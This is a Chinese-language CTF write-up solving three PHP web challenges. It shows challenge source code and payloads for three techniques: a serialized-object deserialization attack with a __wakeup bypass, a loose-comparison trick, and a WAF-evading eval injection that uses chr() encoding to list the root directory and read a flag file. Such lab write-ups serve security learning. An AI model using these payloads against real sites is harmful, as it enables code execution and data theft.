第6天
Web
[极客大挑战 2019]PHP
Payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
这道题考点是网站源码备份文件泄露和PHP反序列化,有篇介绍PHP反序列化考点的文章:PHP序列化反序列化漏洞总结(一篇懂)
打开网站是一个小游戏,根据题目提示得知需要找到网站的备份文件,这里使用dirsearch进行扫描(由于使用dirsearch自带的字典完整扫描一遍耗时过长,因此根据网上的题解我自己写了一个包含正确备份文件的字典,缩短扫描时间)
返回状态码200,说明确实存在该文件,访问下载
经过查看,flag.php中不包含正确flag,然后打开index.php进一步查看(发现关键内容:include 'class.php';
和$res=unserialize(@$select);
)
打开class.php文件
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){ /*__construct()当对象被创建即new之前,
会触发进行初始化,但在unserialize()时是不会自动调用的。*/
$this->username = $username;
$this->password = $password;
}
function __wakeup(){ //__wakeup()将在反序列化之后立即调用
$this->username = 'guest';
}
function __destruct(){ /* __destruct()在到某个对象的所有引用都被删除
或者当对象被显式销毁时执行*/
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
需要反序列化后的对象满足username === 'admin’且password = 100
初始Payload:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
生成代码:
user
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
echo serialize(new Name());
?>
因为username
和password
变量是private类型,变量中的类名前后会有空白符,而复制的时候会丢失,所以还需要加上%00(private类型序列化结果是%00类名%00属性值)
修改后的Payload:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
但是如果直接将这行字符串传进去反序列化的话网站会首先执行__wakeup()
魔法方法修改username 为 ‘guest’,所以需要修改属性数量(当对象的属性数量和序列化后的属性数量值不等时会不执行__wakeup()
魔法方法)
最终Payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
注意“Name”后的2
变成了3
(只要不等于2就行)
通过GET传参获取flag
[ACTF2020 新生赛]BackupFile
Payload:
http://a9e22c40-e35e-48a3-81f3-61db800e704d.node5.buuoj.cn:81?key=123
提示我们需要找到源代码,所以这道题的解题思路也是备份文件,通过dirsearch扫描
发现了index.php.bak文件
,访问这个文件自动下载
直接打开后得到源码:
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
?>
考点是==
的弱类型比较:
- === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较具体值
- == 在进行比较的时候,会先将字符串类型转化成相同类型,再比较
- 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且按照数值来进行比较
这里$str = “123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”;被截取前三位,即123
后与$key进行比较
因此直接传?key=123
即可拿到flag(注意只能是数字123,不能是字符串123,即'123'
)
[RoarCTF 2019]Easy Calc
打开网站发现是一个类似计算器的内容,F12看到提示说网站使用了WAF防护并且还有一个calc.php文件
访问calc.php文件得到:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
可以看到假如我们传给num一个合适的值后(绕过黑名单)就能通过eval函数执行命令
当num为数字时网页正常返回,但当num为非数字时,WAF会检测num并禁止访问
这里的思路是,WAF检测的是"num"参数,若我们在num参数前添加空格,让num
变成 num
,那么就可以绕过WAF,并且php在接受参数时会将空格删除,将 num
转变成num
接下来是构造命令,因为php文件不允许空格和\
,所以使用chr(ASCII码)
进行绕过
源Payload:
? num=scandir("/") //scandir可以扫描目录,这里是根目录
绕过后的Payload:
? num=var_dump(scandir(chr(47)))
发现[5]=> string(5) "f1agg"
,进行访问
源Payload:
? num=file_get_contents("/f1agg") //
绕过后的Payload:
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))